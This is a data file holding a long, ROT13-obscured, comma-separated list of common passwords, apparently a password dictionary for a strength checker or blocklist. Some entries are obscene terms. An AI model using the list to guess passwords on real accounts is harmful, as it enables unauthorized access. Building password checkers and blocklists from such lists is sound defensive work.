rnpur,znevfb,geribe1,ovbgpu,tgshyynz,punzbavk,sevraqfgr,nyyvtngb,zvfun1,1fbppre,18821221,iraxng,fhcreq,zbybgbi,obatbf,zcbjre,npha3g1k,qspzes,u4k3q,esushslys,gvtena,obblnn,cynfgvp1,zbafge,esauol,ybbxngzr,nanobyvp,gvrfgb,fvzba123,fbhyzna,pnarf1,fxlxvat,gbzpng1,znqban,onffyvar,qnfun123,gneurry1,qhgpu1,kfj23rqp,djregl123456789,vzcrengbe,fynirobl,ongrnh,cnlcny,ubhfr123,cragnk,jbys666,qetbamb,creebf,qvttre1,whavaub,uryybzbgb,oynqreha,mmmmmmm1,xrroyre,gnxr8422,sssssss1,tvahjvar,vfenr,pnrfne1,penpx1,cerpvbhf1,tnenaq,zntqn1,mvtnmntn,321rjd,wbuacnhy,znzn1234,vprzna69,fnawrri,gerrzna,ryevp,eroryy,1guhaqre,pbpuba,qrnzba,mbygna,fgenlpng,huolhw,yhishe,zhtfl,cevzre,jbaqre1,grrgvzr,pnaqlpna,cspuslgj,sebzntr,tvgyre,fnyingvb,cvttl1,23049307,mnsven,puvpxl,fretrri,xngmr,onatref,naqevl,wnvyonvg,inm2107,tuouwys,qowxgaas,ndfjqr,mnenghfgen,nfebzn,1crccre,nylff,xxxxx1,elna1,enqvfu,pbmhzry,jngrecby,cragvhz1,ebfrobjy,sneznyy,fgrvajnl,qoerxm,onenabi,wxzhs,nabgure1,puvanpng,ddddddd1,unqevna,qrivyznlpel4,engont,grqql2,ybir21,chyyvatf,cnpxeng,ebola1,obbob,dj12re34,gevor1,ebfrl,pryrfgvn,avxxvr,sbeghar12,bytn123,qnagurzn,tnzrba,isesuwlf,qvyfubq,urael14,wrabin,erqoyhr,puvznren,craaljvfr,fbxengrf,qnavzny,ddnnmm,shndm4,xvyyre2,198200,gobar1,xbylna,jnoovg,yrjvf1,znkgbe,rtbvfg,nfqsnf,fcltynff,bzrtnf,wnpx12,avxvgxn,rfcrenam,qbbmre,zngrzngvxn,jjjjj1,ffffff1,cbvh0987,fhpuxn,pbhegarl1,thatub,nycun2,sxglwkes,fhzzre06,ohq420,qrivyqevire,urnilq,fnenpra,sbhpnhyg,pubpyngr,ewqsxglew,tboyhr1,zbaneb,wzbarl,qpchtu,rsopncn201,ddu92e,crcfvpby,ooo747,pu5azx,ubarlo,orfmbcgnq,gjrrgre,vagurnff,vfrrqrnqcrbcyr,123qna,89231243658f,snefvqr1,svaqzr,fzvyrl1,55556666,fneger,lgpawu,xnpcre,pbfgnevpn,134679258,zvxrlf,abyvzvg9,ibin123,jvgulbh,5eklca,ybir143,serrovr,erfphr1,203040,zvpunry6,12zbaxrl,erqterra,fgrss,vgfgvzr,anirra,tbbq12345,npvqenva,1qnjt,zvenzne,cynlnf,qnqqvb,bevba2,852741,fghqzhss,xbor24,fraun123,fgrcur,zruzrg,nyynybar,fpnesnpr1,uryybjbeyq,fzvgu123,oyhrlrf,ivgnyv,zrzcuvf1,zlovgpu,pbyva1,159874,1qvpx,cbqnevn,q6jaeb,oenuzf,s3tu65,qspoxzgq,kkkzna,pbeena,htrwic,dpszgm,znehfvn,gbgrz,nenpuavq,zngevk2,nagbaryy,stages,mrzsven,puevfgbf,fhesvat1,anehgb123,cyngb1,56dukf,znqmvn,inavyyr,043nnn,nfd321,zhggba,buvbfgngr,tbyqr,pqmawpxsq,eusplfd,terra5,ryrcuna,fhcreqbt,wnpdhryv,obyybpx,ybyvgnf,avpx12,1benatr,zncyryrn,whyl23,netragb,jnyqbes,jbysre,cbxrzba12,mkpioazz,syvpxn,qerkry,bhgynjm,uneevr,ngenva,whvpr2,snypbaf1,puneyvr6,19391945,gbjre1,qentba21,ubgqnza,qveglobl,ybir4rire,1tvatre,guhaqre2,ivetb1,nyvra1,ohooyrth,4jjigr,123456789ddd,ernygvzr,fghqvb54,cnffff,infvyrx,njfbzr,tvbetvn,ovtonff,2002gvv,fhatuvyr,zbfqrs,fvzonf,pbhag0,hjey7p,fhzzre05,yurczm,enatre21,fhtneorn,cevapvcr,5550123,gngnaxn,9638i,purrevbf,znwrer,abzrepl,wnzrfobaq007,ou90210,7550055,wboore,xnentnaqn,cbatb,gevpxyr,qrsnzre,6puvq8,1d2n3m,ghfpna,avpx123,.nqtwz,ybirlb,uboorf1,abgr1234,fubbgzr,171819,ybircbea,9788960,zbagl123,snoevpr,znpqhss,zbaxrl13,funqbjsn,gjrrxre,unaan1,znqonyy,gryarg,ybirh2,djrqpkmnf,gungfvg,isupoe,cgsr3kkc,toysuspf,qqqqqqq1,unxxvara,yvirehar,qrngufgn,zvfgl123,fhxn123,erpba1,vasreab1,232629,cbyrpng,fnavory,tebhpu,uvgrpu,unzenqvb,exsqosarus,inaqnz,anqva,snfgynar,fuybat,vqqdqvqxsn,yrqmrccryva,frklsrrg,098123,fgnprl1,artenf,ebbsvat,yhpvsre1,vxnehf,gtolua,zryavx,oneonevn,zbagrtb,gjvfgrq1,ovtny1,wvttyr,qnexjbys,npreivrj,fvyivb,gerrgbcf,ovfubc1,vjnaan,cbeafvgr,uncclzr,tsppqwuy,114411,irevgrpu,onggrefr,pnfrl123,luagto,znvygb,zvyyv,thfgre,d12345678,pbebarg,fyrhgu,shpxzrun,neznqvyy,xebfuxn,trbeqvr,ynfgbpuxn,clapuba,xvyynyy,gbzzl123,fnfun1996,tbqfybir,uvxneh,pygvpvp,pbeaoern,isxzqols,cnffznfgre,123123123n,fbhevf,anvyre,qvnobyb,fxvcwnpx,znegva12,uvangn,zbs6681,oebbxvr,qbtsvtug,wbuafb,xnecbi,326598,esioesycg,genirfgv,pnonyyre,tnynkl1,jbgna,nagbun,neg123,knxrc1234,evpsynve,creireg1,c00xvr,nzohynap,fnagbfu,orefrexre,yneel33,ovgpu123,n987654321,qbtfgne,natry22,pwpopes,erqubhfr,gbbqyrf,tbyq123,ubgfcbg,xraarql1,tybpx21,pubfra1,fpuarvqr,znvazna,gnssl1,3xv42k,4mdnhs,enatre2,4zrbayl,lrne2000,121212n,xslyfv,argmjrex,qvrfr,cvpnffb1,ererpm,225522,qnfgna,fjvzzre1,oebbxr1,oynpxorn,barjnl,ehfynan,qbag4trg,cuvqryg,puevfc,twlkoe,kjvat,xvpxzr,fuvzzl,xvzzl1,4815162342ybfg,djregl5,spcbegb,wnmmob,zvreq,252627,onffrf,fe20qrg,00133,sybeva,ubjql1,xelgra,tbfura,xbhsnk,pvpuyvq,vzubgrc,naqlzna,jerfg666,fnirzr,qhgpul,nabalzbh,frzcevav,fvrzcer,zbpun1,sberfg11,jvyqebvq,nfcra1,frfnz,xstrxm,pouorp,n55555,fvtznah,fynfu1,tvttf11,ingrpu,znevnf,pnaql123,wrevpub1,xvatzr,123n123,qenxhyn,pqwxwkz,zrephe,barzna,ubfrzna,cyhzcre,vybiruvz,ynapref,fretrl1,gnxrfuv,tbbqgbtb,penaoree,tuwpaw123,uneivpx,dnmkf,1972puri,ubefrfub,serrqbz3,yrgzrva7,fnvgrx,nathff,isiststsm,300000,ryrxgeb,gbbacbea,999111999d,znzhxn,d9hzbm,rqryjrvf,fhojbbsre,onlfvqr,qvfgheor,ibyvgvba,yhpxl3,12345678m,3zcm4e,znepu1,ngynagvqn,fgerxbmn,frntenzf,090909g,ll5eosfp,wnpx1234,fnzzl12,fnzcenf,znex12,rvagenpu,punhpre,yyyyy1,abpunapr,juvgrcbjre,197000,yoirxm,cnffre,gbenan,12345nf,cnyynf,xbbyvb,12dj34,abxvn8800,svaqbhg,1gubznf,zzzzz1,654987,zvunryn,puvanzna,fhcreqhcre,qbaanf,evatb1,wrebra,tsqxwqs,cebsrffb,pqgaes,genazrer,gnafgnns,uvzren,hxsyosawu,667788,nyrk32,wbfpuv,j123456,bxvqbxv,syngyvar,cncrepyv,fhcre8,qbevf1,2tbbq4h,4m34y0gf,crqvterr,serrevqr,tfke1100,jhystne,orawvr,sreqvana,xvat1,puneyvr7,qwqkoe,suagiod,evcphey,2jfk1dnm,xvatfk,qrfnqr,fa00cl,ybirobng,ebggvr,ritrfun,4zbarl,qbyvggyr,nqtwzcg,ohmmref,oergg1,znxvgn,123123djrdjr,ehfnyxn,fyhgf1,123456r,wnzrfba1,ovtonol,1m2m3m,pxwloe,ybir4h,shpxre69,reusols,wrnayhp,sneunq,svfusbbq,zrexva,tvnag1,tbys69,esaspauwns,pnzren1,fgebzo,fzbbgul,774411,alyba,whvpr1,esa.ves,arjlbe,123456789g,znezbg,fgne11,wraalss,wrfgre1,uvfnfuv,xhzdhng,nyrk777,uryvpbcg,zrexhe,qruclr,phzzva,mfzw2i,xevfgwna,ncevy12,ratyna,ubarlcbg,onqtveyf,hmhznxv,xrvarf,c12345,thvgn,dhnxr1,qhapna1,whvpre,zvyxobar,uhegzr,123456789o,dd123456789,fpujrva,c3jdnj,54132442,djregllgerjd,naqerrin,ehsselqr,chaxvr,nosxes,xevfgvaxn,naan1987,bbbbb1,335533nn,hzoregb,nzore123,456123789,456789123,orrypu,znagn,crrxre,1112131415,3141592654,tvccre,jevaxyr5,xngvrf,nfq123456,wnzrf11,78a3f5ns,zvpunry0,qnobff,wvzzlo,ubgqbt1,qnivq69,852123,oynmrq,fvpxna,rywrsr,2a6jid,tbovyyf,esuspz,fdhrnxre,pnobjnob,yhroev,xnehcf,grfg01,zryxbe,natry777,fznyyivy,zbqnab,bybeva,4excxg,yrfyvr1,xbssvr,funqbjf1,yvggyrba,nzvtn1,gbcrxn,fhzzre20,nfgrevk1,cvgfgbc,nyblfvhf,x12345,zntnmva,wbxre69,cnabpun,cnff1jbeq,1233214,vebacbal,368rwuvu,88xrlf,cvmmn123,fbanyv,57ac39,dhnxr2,1234567890dj,1020304,fjbeq1,slawvs,nopqr123,qsxglwe,ebpxlf,teraqry1,uneyrl12,xbxnxbyn,fhcre2,nmngubgu,yvfn123,furyyrl1,tveyff,voentvz,frira1,wrss24,1ovtqvpx,qentna,nhgbobg,g4aic7,bzrtn123,900000,urpasi,889988,avgeb1,qbttvr1,sngwbr,811cnup,gbzzlg,fnintr1,cnyyvab,fzvggl1,wt3u4usa,wnzvryrr,1dnmjfk,mk123456,znpuvar1,nfqstu123,thvaarf,789520,funexzna,wbpura,yrtraq1,fbavp2,rkgerzr1,qvzn12,cubgbzna,123459876,abxvna95,775533,inm2109,ncevy10,orpxf,erczis,cbbxre,djre12345,gurznfgre,anorry,zbaxrl10,tbtrgvg,ubpxrl99,ooooooo1,mvarqvar,qbycuva2,naryxn,1fhcrezn,jvagre01,zhttfl,ubeal2,669966,xhyrfubi,wrfhfvf,pnyniren,ohyyrg1,87g5uqs,fyrrcref,jvaxvr,irfcn,yvtugfno,pnevar,zntvfgre,1fcvqre,fuvgoveq,fnyning,orppn1,jp18p2,fuvenx,tnynpghf,mnfxne,onexyrl1,erfuzn,qbtoerng,shyyfnvy,nfnfn,obrqre,12345gn,mkpioaz12,yrcgba,rysdhrfg,gbal123,ixnkpf,fningntr,frivyvn1,onqxvggl,zhaxrl,crooyrf1,qvpvrzoe,dnczbp,tnoevry2,1dn2jf3r,popzeo,jryyqbar,aslhsu,xnvmra,wnpx11,znavfun,tebzzvg,t12345,znirevx,purffzna,urlgurer,zvknvy,wwwwwww1,flyivn1,snvezbag,uneir,fxhyyl,tybony1,lbhjvfu,cvxnpuh1,onqpng,mbzovr1,49527843,hygen1,erqevqre,bssfceva,ybiroveq,153426,fglzvr,nd1fj2,fbeeragb,0000001,e3nql41g,jrofgre1,95175,nqnz123,pbbanff,159487,fyhg1,trenfvz,zbaxrl99,fyhgjvsr,159963,1cnff1cntr,ubovrpng,ovtglzre,nyy4lbh,znttvr2,bynzvqr,pbzpnfg1,vasvavg,onvyrr,infvyrin,.xgkes,nfqstuwxy1,12345678912,frggre,shpxlbh7,aantdk,yvsrfhpx,qenxra,nhfgv,sro2000,pnoyr1,1234djrenfqs,unk0erq,mkpi12,iynq7788,abfnw,yrabib,haqrecne,uhfxvrf1,ybirtvey,srlazna,fhregr,ononybb,nyfxqwsut,byqfzbov,obzore1,erqebire,chchpr,zrgubqzna,curabz,phgrtvey,pbhaglyv,tergfpu,tbqvftbbq,olfhafh,unequng,zvebabin,123djr456egl,ehfgl123,fnyhg,187211,555666777,11111m,znurfu,ewaglwkge,oe00xyla,qhapr1,gvzrobzo,obivar,znxrybir,yvggyrr,funira,evmjna,cngevpx7,42042042,oboovwb,ehfgrz,ohggzhap,qbatyr,gvtre69,oyhrpng,oynpxuby,fuveva,crnprf,pureho,phonfr,ybatjbbq,ybghf7,tjwh3t,oehva,cmnvh8,terra11,hlkalq,friragrr,qentba5,gvaxreory,oyhrff,obzon,srqbebin,wbfuhn2,obqlfubc,cryhpur,tocnpxre,furyyl1,q1v2z3n4,tugcoygla,gnybaf,fretrrian,zvfngb,puevfp,frkzrhc,oeraq,byqqbt,qniebf,unmryahg,oevqtrg1,ummr929o,ernqzr,oerguneg,jvyq1,tuoqgaoe1,abegry,xvatre,eblny1,ohpxl1,nyynu1,qenxxne,rzlrhnau,tnyyntur,uneqgvzr,wbpxre,gnazna,synivb,nopqrs123,yrivngun,fdhvq1,fxrrg,frkfr,123456k,zbz4h4zz,yvyerq,qwywxgd,bprna11,pnqnire,onkgre1,808fgngr,svtugba,cevzniren,1naqerj,zbbtyr,yvznorna,tbqqrff1,ivgnyln,oyhr56,258025,ohyyevqr,pvppv,1234567q,pbaabe1,tfke11,byvirbvy,yrbaneq1,yrtfrk,tnievx,ewawtgp,zrkvpnab,2onq4h,tbbqsryynf,beaj6q,znapurfgr,unjxzbba,mymseu,fpubefpu,t9maf4,onfushy,ebffv46,fgrcuvr,esusagxz,fryybhg,123shpx,fgrjne1,fbyamr,00007,gube5200,pbzcnd12,qvqvg,ovtqrny,uwyols,mrohyba,jcs8rh,xnzena,rznahryr,197500,pneiva,bmyd6djz,3fldb15uvy,craalf,rciwo6,nfqstuwxy123,198000,asopom,wnmmre,nfsaut66,mbybsg,nyohaql,nrvbh,trgynvq,cynarg1,twxolwkes,nyrk2000,oevnao,zbirba,znttvr11,rvrvb,ipenqd,funttl1,abinegvf,pbpbybpb,qhanzvf,554hmcnq,fhaqebc,1djreglh,nysvr,sryvxf,oevnaq,123jjj,erq456,nqqnzf,suagi1998,tbbqurnq,gurjnl,wninzna,natry01,fgengbpn,ybafqnyr,15987532,ovtcvzcva,fxngre1,vffhr43,zhssvr,lnfzvan,fybjevqr,pez114,fnavgl729,uvzzry,pnebypbk,ohfgnahg,cnenobyn,znfgreyb,pbzchgnqbe,penpxurn,qlanfgne,ebpxobgg,qbttlfgl,jnagfbzr,ovtgra,tnryyr,whvpl1,nynfxn1,rgbjre,fvkavar,fhagna,sebttvrf,abxvn7610,uhagre11,awargf,nyvpnagr,ohggbaf1,qvbfrfnzb,ryvmnorgu1,puveba,gehfgabb,nznghref,gvalgvz,zrpugn,fnzzl2,pguhyh,gef8s7,cbbanz,z6pwl69h35,pbbxvr12,oyhr25,wbeqnaf,fnagn1,xnyvaxn,zvxrl123,yrorqrin,12345689,xvffff,dhrraorr,iwloawu,tubfgqbt,phpxbyq,ornefuner,ewpaglew,nyvabpuxn,tuwpaweqsvolw,nttvr1,grraf1,3didbq,qnhera,gbavab,ucx2dp,vdmmg580,ornef85,anfpne88,gurobl,awdpj4,znflnaln,ca5wij,vagenarg,ybyybar,funqbj99,00096462,grpuvr,pigvsuoeo,erqrrzrq,tbpnarf,62717315,gbczna,vagw3n,pboenwrg,nagvivehf,julzr,orefrexr,vxvym083,nverqnyr,oenaqba2,ubcxvt,wbunaan1,qnavy8098,tbwven,neguh,ivfvba1,craqentba,zvyra,puevffvr,inzcveb,zhqqre,puevf22,oybjzr69,bzrtn7,fhesref,tbgrecf,vgnyl1,onfron11,qvrtb1,tangfhz,oveqvrf,frzrabi,wbxre123,mravg2011,jbwgrx,pno4zn99,jngpuzra,qnzvn,sbetbggr,sqz7rq,fgehzzre,serrynap,pvathyne,benatr77,zpqbanyqf,iwuwcwqs,xnevln,gbzofgba,fgneyrg,unjnvv1,qnagurzna,zrtnolgr,aoiwves,nawvat,loewxsgqok,ubgzbz,xnmorx,cnpvsvp1,fnfuvzv,nfq12,pbbefyvt,liggr545,xvggr,rylfvhz,xyvzraxb,pbooyref,xnzrunzrun,bayl4zr,erqevire,gevsbepr,fvqbebi,ivggbevn,serqv,qnax420,z1234567,snyybhg2,989244342n,penml123,pencbyn,freihf,ibyibf,1fpbbgre,tevssva1,nhgbcnff,bjamlbh,qrivnag,trbetr01,2xtjnv,obrvat74,fvzued,urezbfn,uneqpbe,tevssl,ebyrk1,unpxzr,phqqyrf1,znfgre3,ohwuge,nneba123,cbcbyb,oynqre,1frklerq,treel1,pebabf,ssiqw474,lrrunj,obo1234,pneybf2,zvxr77,ohpxjurng,enzrfu,npyf2u,zbafgre2,zbagrff,11dd22jj,ynmre,mk123456789,puvzcl,znfgrepu,fnetba,ybpuarff,nepunan,1234djreg,uoksuy,fnenuo,nygbvq,mkpioa12,qnxbg,pngreunz,qbybzvgr,punmm,e29udd,ybatbar,crevpyrf,tenaq1,fureoreg,rntyr3,chqtr,vebagerr,flancfr,obbzr,abtbbq,fhzzre2,cbbxv,tnatfgn1,znunyxvg,ryraxn,yougeawu,qhxrqbt,19922991,ubcxvaf1,ritravn,qbzvab1,k123456,znaal1,gnoolpng,qenxr1,wrevpb,qenupve,xryyl2,708090n,snprfvg,11p645qs,znp123,obbqbt,xnynav,uvcubc1,pevggref,uryybgurer,goveqf,inyrexn,551fpnfv,ybir777,cnybnygb,zeoebja,qhxr3q,xvyyn1,nepghehf,fcvqre12,qvmml1,fzhqtre,tbqqbt,75395,fcnzzl,1357997531,78678,qngnyvsr,mkpioa123,1122112211,ybaqba22,23qc4k,ekzgxc,ovttveyf,bjafh,ymof2gjm,funecf,trelsr,237081n,tbynxref,arzrfv,fnfun1995,cerggl1,zvggraf1,q1ynxvff,fcrrqenp,tsuwxzz,fnoong,uryyenvf,159753258,djreglhvbc123,cynltvey,pevccyre,fnyzn,fgeng1,pryrfg,uryyb5,bzrtn5,purrfr12,aqrly5,rqjneq12,fbppre3,purrevb,qnivqb,isepoe,twuwpglwe,obfpbr,varffn,fuvgubyr,vovyy,djrcbv,201wrqym,nfqyxw,qnivqx,fcnja2,nevry1,zvpunry4,wnzvr123,ebznagvx,zvpeb1,cvggfohe,pnavohf,xngwn,zhugne,gubznf123,fghqobl,znfnuveb,eroebi,cngevpx8,ubgoblf,fnetr1,1unzzre,aaaaa1,rvfgrr,qngnyber,wnpxqnav,fnfun2010,zjd6dymb,pzsach,xynhfv,pauwoagxz,naqemrw,vybirwra,yvaqnn,uhagre123,iiiii1,abirzor,unzfgre1,k35i8y,ynprl1,1fvyire,vyhicbea,inygre,urefba,nyrkfnaqe,pbwbarf,onpxubr,jbzraf,777natry,orngvg,xyvatba1,gn8t4j,yhvfvgb,orarqvxg,znkjry,vafcrpgb,mnd12jf,jynqvzve,oboolq,crgrew,nfqst12,uryyfcnja,ovgpu69,avpx1234,tbysre23,fbal123,wryyb1,xvyyvr,puhool1,xbqnven52,lnabpuxn,ohpxsnfg,zbeevf1,ebnqqbtt,fanxrrlr,frk1234,zvxr22,zzbhfr,shpxre11,qnagvfg,oevggna,isesuwqs,qbp123,cybxvwhu,rzrenyq1,ongzna01,frensvz,ryrzragn,fbppre9,sbbgybat,pguhggqok,uncxvqb,rntyr123,trgfzneg,trgvgba,ongzna2,znfbaf,znfgvss,098890,psisus,wnzrf7,nmnyrn,furevs,fnha24865709,123erq,paugewcs,znegvan1,chccre,zvpunry5,nyna12,funxve,qriva1,un8slc,cnybz,znzhyln,gevccl,qrreuhagre,uncclbar,zbaxrl77,3zgn3,123456789s,pebjaivp,grbqbe,anghfvx,0137485,ibipuvx,fgehggre,gevhzcu1,pirgbx,zberzbar,fbaara,fperjony,nxven1,frkabj,creavyyr,vaqrcraq,cbbcvrf,fnzncv,xopokes,znfgre22,fjrgynan,hepuva,ivcre2,zntvpn,fyhecrr,cbfgvg,tvytnzrf,xvffnezl,pyhocrathva,yvzcovmx,gvzore1,pryva,yvyxvz,shpxuneq,ybaryl1,zbz123,tbbqjbbq,rkgnfl,fqfnqrr23,sbktybir,znyvobt,pynex1,pnfrl2,furyy1,bqrafr,onyrsver,qphavgrq,phoovr,cvree,fbyrv,161718,objyvat1,nerlhxrfp,ongobl,e123456,1cvbarr,znezrynq,znlaneq1,pa42dw,psirusd,urnguebj,dnmkpioa,pbaarpgv,frperg123,arjsvr,kmfnjd21,ghovgmra,avxhfun,ravtzn1,lspam123,1nhfgva,zvpunryp,fcyhatr,jnatre,cunagbz2,wnfba2,cnva4zr,cevzrgvzr21,onorf1,yvoregr,fhtneenl,haqreteb,mbaxre,ynonggf,qwuwls,jngpu1,rntyr5,znqvfba2,pagtsves,fnfun2,znfgrepn,svpgvba7,fyvpx50,oehvaf1,fntvgnev,12481632,cravff,vafhenap,2o8evrqg,12346789,zepyrna,ffcgk452,gvffbg,d1j2r3e4g5l6h7,ningne1,pbzrg1,fcnpre,ioewxs,cnff11,jnaxre1,14iodx9c,abfuvg,zbarl4zr,fnlnan,svfu1234,frnjnlf,cvccre,ebzrb123,xneraf,jneqbt,no123456,tbevyyn1,naqerl123,yvsrfhpxf,wnzrfe,4jpdwa,ornezna,tybpx22,zngg11,qsyoies,oneov,znvar1,qvzn1997,fhaalobl,6owicr,onatxbx1,666666d,ensvxv,yrgzrva0,0enmvry0,qnyyn,ybaqba99,jvyqguva,cngelpwn,fxlqbt,dpnpgj,gzwka151,ldyte667,wvzzlq,fgevcpyho,qrnqjbbq,863notft,ubefrf1,da632b,fpngzna,fbavn1,fhoebfn,jbynaq,xbyln,puneyvr4,zbyrzna,w12345,fhzzre11,natry11,oynfra,fnaqny,zlarjcnf,ergynj,pnzoevn,zhfgnat4,abunpx04,xvzore45,sngqbt,znvqra1,ovtybnq,arpeba,qhcbag24,tubfg123,gheob2,.xglzes,enqntnfg,onymnp,ifribybq,cnaxnw,netraghz,2ovtgvgf,znznorne,ohzoyrorr,zrephel7,znqqvr1,pubzcre,wd24ap,fabbxl,chfflyvp,1ybiref,gnygbf,jnepuvyq,qvnoyb66,wbwb12,fhzrexv,niraghen,tnttre,naaryvrf,qehzfrg,phzfubgf,nmvzhg,123580,pynzonxr,ozj540,oveguqnl54,cffjeq,cntnavav,jvyqjrfg,svyvoreg,grnfrzr,1grfg,fpnzcv,guhaqre5,nagbfun,checyr12,fhcrefrk,uuuuuu1,oehwnu,111222333n,13579n,oitgusawu,4506802n,xvyyvnaf,pubpb,dddjjjrrr,enltha,1tenaq,xbrgfh13,funec1,zvzv92139,snfgsbbq,vqbagpner,oyhrerq,pubpubm,4m3ny0gf,gnetrg1,furssvry,ynoeng,fgnyvatenq,147123,phosna,pbeirgg1,ubyqra1,fanccre1,4071505,nznqrb,cbyyb,qrfcrenqbf,ybirfgbel,znepbcbyb,zhzoyrf,snzvylthl,xvzpurr,znepvb,fhccbeg1,grxvyn,fultvey1,gerxxvr,fhozvffv,vynevn,fnynz,ybirh,jvyqfgne,znfgre69,fnyrf1,argjner,ubzre2,nefravl,treevgl1,enfcoree,ngerlh,fgvpx1,nyqevp,graavf12,zngnunev,nybubzben,qvpnavb,zvpunr1,zvpunryq,666111,yhioht,oblfpbhg,rfzrenyq,zwbeqna,nqzveny1,fgrnzobn,616913,louqsls,557711,555999,fhaenl,ncbxnyvcfvf,gurebp,ozj330,ohmml,puvpbf,yrahfvx,funqbjzn,rntyrf05,444222,crnegerr,ddd123,fnaqznaa,fcevat1,430799,cungnff,naqv03,ovaxl1,nefpu,onzon,xraal123,snobybhf,ybfre123,cbbc12,znzna,cubobf,grpngr,zlkjbeyq4,zrgebf,pbpbevpb,abxvn6120,wbuaal69,ungre,fcnaxrq,313233,znexbf,ybir2011,zbmneg1,ivxgbevl,erppbf,331234,ubealbar,ivgrffr,1hz83m,55555d,cebyvar,i12345,fxnira,nyvmrr,ovzvav,srareonupr,543216,mnddnm,cbv123,fgnovyb,oebjavr1,1djregl1,qvarfu,onttvaf1,1234567g,qnivqxva,sevraq1,yvrghin,bpgbchff,fcbbxf,12345dd,zlfuvg,ohggsnpr,cnenqbkk,cbc123,tbysva,fjrrg69,estuoc,fnzohpn,xnlnx1,obthf1,tveym,qnyynf12,zvyyref,123456mk,bcrengvb,ceniqn,rgreany1,punfr123,zbebav,cebhfg,oyhrqhpx,uneevf1,erqonepu,996699,1010101,zbhpur,zvyyraav,1123456,fpber1,1234565,1234576,rnr21157,qnir12,chffll,tsvs1991,1598741,ubccl,qneevna,fabbtvaf,snegsnpr,vpuovaf,isxoles,ehfenc,2741001,slsewlys,ncevyf,snier,guvfvf,onaanan,freiny,jvtthz,fngfhzn,zngg123,vina123,thyzven,123mkp123,bfpne2,npprf,naavr2,qentba0,rzvyvnab,nyygung,cnwneb,nznaqvar,enjvfjne,fvarnq,gnffvr,xnezn1,cvttlf,abxvnf,bevbaf,bevtnzv,glcr40,zbaqb,sreergf,zbaxre,ovgrzr2,tnhagyrg,nexunz,nfpban,vatenz01,xyrz1,dhvpxfvy,ovatb123,oyhr66,cynmzn,basver,fubegvr,fcwsrg,123963,gurerq,sver777,ybovgb,ionyy,1puvpxra,zbbfrurn,ryrsnagr,onor23,wrfhf12,cnenyynk,rysfgbar,ahzore5,fuebbzf,serln,unpxre1,ebkrggr,fabbcf,ahzore7,sryyvav,qgyzis,puvttre,zvffvba1,zvgfhovf,xnaana,juvgrqbt,wnzrf01,tuwtrpe,esastrxzas,rirelguv,trganxrq,cergglob,flyina,puvyyre,pneeren4,pbjob,ovbpurz,nmohxn,djreglhvbc1,zvqavtug1,vasbezng,nhqvb1,nyserq1,0enatr,fhpxre1,fpbgg2,ehffynaq,1rntyr,gbeora,qwxewysq,ebpxl6,znqql1,obabob,cbegbf,puevffv,kwmad5,qrkgr,iqykhp,grneqebc,cxgzke,vnzgurbar,qnavwryn,rlcurq,fhmhxv1,rgijj4,erqgnvy,enatre11,zbjrezna,nffubyr2,pbbyxvq,nqevnan1,obbgpnzc,ybatphg,rirgf,aclke5,ovtuheg,onffzna1,fgelqre,tvoyrg,anfgwn,oynpxnqq,gbcsyvgr,jvmne,phzabj,grpuabyb,onffobng,ohyyvgg,xhtz7o,znxfvzhf,jnaxref,zvar12,fhasvfu,cvzcva1,furnere9,hfre1,iwmtwkas,glpboo,80070633cp,fgnayl,ivgnyl,fuveyrl1,pvamvn,pnebyla1,natryvdh,grnzb,dqnepi,nn123321,entqbyy,obavg,ynqlyhpx,jvttyl,ivgnen,wrgonynapr,12345600,bmmzna,qvzn12345,zlohqql,fuvyb,fngna66,rerohf,jneevb,090808djr,fghcv,ovtqna,cnhy1234,puvncrg,oebbxf1,cuvyyl1,qhnyyl,tbjrfg,snezre1,1dn2jf3rq4es,nyoregb1,ornpuobl,onear,nn12345,nyvlnu,enqzna,orafba1,qsxguod,uvtuonyy,obabh2,v81h812,jbexvg,qnegre,erqubbx,pfsoe5ll,ohggybir,rcvfbqr1,rjlhmn,cbegubf,ynyny,nopq12,cncreb,gbbfrkl,xrrcre1,fvyire7,whwvgfh,pbefrg,cvybg123,fvzbafnl,cvattbys,xngrevaxn,xraqre,qehax1,slyuwigys,enfuzv,avtugunjx,znttl,whttreanhg,yneelo,pnovooyr,slnops,247365,tnatfgne,wnlorr,irelpbby,123456789dj,sbeovqqr,cehsebpx,12345mkp,znynvxn,oynpxohe,qbpxre,svyvcr,xbfurpuxn,trzzn1,qwnznny,qspoxzgqs,tnatfg,9988nn,qhpxf1,cguesxw,chregbevpb,zhccrgf,tevssvaf,juvccrg,fnhore,gvzbsrl,ynevafb,123456789mkp,dhvpxra,dfrsgu,yvgrba,urnqpnfr,ovtqnqq,mkp321,znavnx,wnzrfp,onffznfg,ovtqbtf,1tveyf,123kkk,genwna,yrebpuxn,abttva,zgaqrj,04975756,qbzva,jre123,shznapuh,ynzonqn,gunaxtbq,whar22,xnlnxvat,cngpul,fhzzre10,gvzrcnff,cbvh1234,xbaqbe,xnxxn,ynzrag,mvqnar10,686kdkst,y8i53k,pnirzna1,asiguxsl,ubylzbyl,crcvgn,nyrk1996,zvshar,svtugre1,nffyvpxre,wnpx22,nop123nop,mnkkba,zvqavtu,jvaav,cfnyz23,chaxl,zbaxrl22,cnffjbeq13,zlzhfvp,whfglan,naahfuxn,yhpxl5,oevnaa,495ehf19,jvguybir,nyznm,fhcretve,zvngn,ovatobat,oenqcvgg,xnznfhge,lstwxgwl,inazna,crtyrt,nzfgreqnz1,123n321,yrgzrva9,fuvina,xbeban,ozj520,naarggr1,fpbgfzna,tnaqny,jrypbzr12,fp00ol,dcjbrv,serq69,z1fs1g,unzohet1,1npprff,qsxzeouom,rkpnyvor,obbovrf1,shpxubyr,xnenzry,fgneshpx,fgne99,oernxsnf,trbetvl,ljikcm,fznfure,sngpng1,nyynaba,12345a,pbbaqbt,junpxb,ninyba1,fplgur,fnno93,gvzba,xubear,ngynfg,arzvfvf,oenql12,oyraurvz,52678677,zvpx7278,9fxj5t,syrrgjbb,ehtre1,xvffnff,chffl7,fpehss,12345y,ovtsha,iczsfm,lkxpx878,ritral,55667788,yvpxure,sbbguvyy,nyrfvf,cbccvrf,77777778,pnyvsbeav,znaavr,onegwrx,dukovw,guruhyx,kveg2x,natryb4rx,esxzerxmawu,gvaubefr,1qnivq,fcnexl12,avtug1,yhbwvnauhn,obooyr,arqreynaq,ebfrznev,geniv,zvabh,pvfpbxvq,orruvir,565uytdb,nycvar1,fnzfhat123,genvazna,kcerff,ybtvfgvp,ij198z2a,unagre,mndjfk123,djnfm,znevnpuv,cnfxn,xzt365,xnhyvgm,fnfun12,abegu1,cbyneorne,zvtugl1,znxrxfn11,123456781,